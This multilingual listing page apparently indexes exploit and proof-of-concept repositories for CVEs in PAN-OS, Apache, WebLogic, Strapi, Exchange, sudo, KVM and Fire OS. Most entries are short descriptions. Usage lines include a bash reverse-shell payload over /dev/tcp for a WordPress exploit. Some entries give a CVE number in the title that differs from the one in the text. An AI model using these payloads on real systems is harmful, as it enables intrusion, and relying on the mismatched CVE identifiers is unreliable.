palo-alto-panos-cve-2024-0012

CVE-2024-0012 and CVE-2024-9474 Bypass dell'autenticazione nell'interfaccia web di gestione PAN-SA-2024-0015 e iniezione di comandi autenticata in Palo Alto PAN-OS Consulta il nostro post sul blog per i dettagli tecnici Versioni interessate root@kitploit: TBD Autori dell'exploit Questo exploit è...

CVE-2025-32463-EXPLOIT

Xpl0it — Sudo NSS Library Hijack | v0.0.4 Autor: 0xb0rn3 | 0xbv1 Typ: Proof of Concept PoC Sicherheitsforschungswerkzeug CVE: CVE-2023-42456 Technik: sudo -R chroot NSS-Bibliotheksinjektion → Privilegieneskalation zu root ⚠️ Haftungsausschluss Dieses Tool ist nur für autorisierte Penetrationstests...

CVE-2021-41773

Exploração de Path Traversal e RCE no Apache CVE-2021-41773 & CVE-2021-42013 Estas são vulnerabilidades críticas de path traversal que afetam o Apache HTTP Server 2.4.49 e 2.4.50. Elas permitem que atacantes: Acessem arquivos fora da raiz web LFI Obtenham Execução Remota de Código RCE se CGI...

CNTA-2019-0014xCVE-2019-2725

CNTA-2019-0014-CVE-2019-2725 Haftungsausschluss: Dieses Tool dient ausschließlich zu Sicherheitstest- und Lernzwecken. Jegliche illegale Nutzung ist untersagt. root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux Weitere Details finden Sie unter:...

cve-2020-28948

CVE-2020-28948 POC-Link: https://github.com/0x240x23elu/CVE-2020-28948-and-CVE-2020-28949...

CVE-2023-34233_Proof_OF_Concept

Connettore Snowflake CVE-2025-24793 PoC Questo repository contiene il codice Proof of Concept PoC per testare la vulnerabilità CVE-2025-24793 nel Connettore Snowflake per Python. Il progetto include sia la versione patchata che quella non patchata per dimostrare la vulnerabilità e la relativa...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Inizialmente, CVE-2023–26326 richiedeva catene di gadget per essere sfruttata come vulnerabilità di deserializzazione. Questo metodo non è più fattibile sui siti WordPress più recenti che eseguono PHP 8+;...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 e 19606 Esecuzione remota di codice blind di Strapi CMS versione 3.0.0-beta.17.7 e precedenti per ottenere una reverse shell Per iniziare Esecuzione del programma Usando python3 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p...

CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

CTFWRITEUPS-TryHackMe-CVE-2021-41773- CTFWRITEUPS/TryHackMe /CVE-2021-41773/ CVE-2021-41773/42013 Una piccola spiegazione di un bug di path traversal di Apache e di una correzione incompleta Task 1: Un po' di contesto... Una breve storia Il 5 ottobre 2021 è stato rilasciato un CVE che descrive un...

cve-2020-16898

Zeek Package for Bad Neighbor Detection .. image::...

CVE-2019-1221

PoC-Exploit für CVE-2019-1221 Ursprung dieses PoC verloren Zielt auf Internet Explorer 11 32-Bit unter Windows 10 x64 bis RS5 ab Verwendet "VBScript.Encode" / CVE-2019-0768, damit der Exploit bis RS5 funktioniert Führt calc mit WinExec aus...

PHP-CVE-2023-2023-2640-POC-Escalation

Ich bin nicht verantwortlich, wenn du den Code unsachgemäß oder illegal verwendest. Der Zweck des Skripts ist rein edukativ und nichts weiter. PHP-CVE-2023-2023-2640-POC-Escalation In diesem Skript in PHP habe ich versucht, einen Exploit zu erstellen von --cve-2023-2640--privilege-escalation...

CVE-2021-22206

CVE-2021-22205...

CVE-2021-26855-Exchange-RCE

CVE-2021-26855-Exchange-RCE Analisi EXP della catena di exploit di Microsoft Exchange Proxylogon + CVE-2021–26855 + CVE-2021–27065 Riepilogo della riproduzione...

ScannerCVE-2021-3156

ScannerCVE-2021-3156 Script per scansionare una lista di host dove è possibile sapere se si è vulnerabili al CVE 2021-3156. Nel caso non si sia vulnerabili, l'output è il seguente: sudoedit: a terminal is required to read the password; either use the -S option to read from standard input or...

Januscape

Januscape: Fuga da Ospite a Host in KVM/x86 Sommario Questo documento descrive la vulnerabilità Januscape CVE-2026-53359 scoperta e segnalata da Hyunwoo Kim @v4bel. Si tratta di una vulnerabilità di fuga da KVM che consente a un ospite di sfuggire all'host in un ambiente KVM/x86. Al meglio della...

GhostLock-5.10

GhostLock 5.10 This is a kernel root exploit for the Amazon Fire Max 11 sunstone and the Fire TV Stick 4K Max 2nd Gen / 2023 karat, adapted from CVE-2026-43499 in CyberMeowfia. Supported devices Two devices are supported, both on Fire OS 8. Each has its own build target. Fire Max 11 sunstone Fire...

codeql-buffer-overflow-variant

codeql-buffer-overflow-variant A deliberately vulnerable, 170-line C program used as a CodeQL static-analysis target. It reproduces the bug class of CVE-2020-8597 — the pppd EAP rhostname stack buffer overflow CWE-120 — in a program that shares none of pppd's function names, call depth, or dispat...

CVE-2026-50656

CVE-2026-50656, CVE-2026-69414 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing...

ghostlock-x200-root

GhostLock-X200 v1.3.5 ⚠️ Legal and Security Notice Please Read First This repository is intended solely for security research and educational purposes , and may only be used on devices that you own or for which you have obtained explicit written authorization. Unauthorized use of this tool on...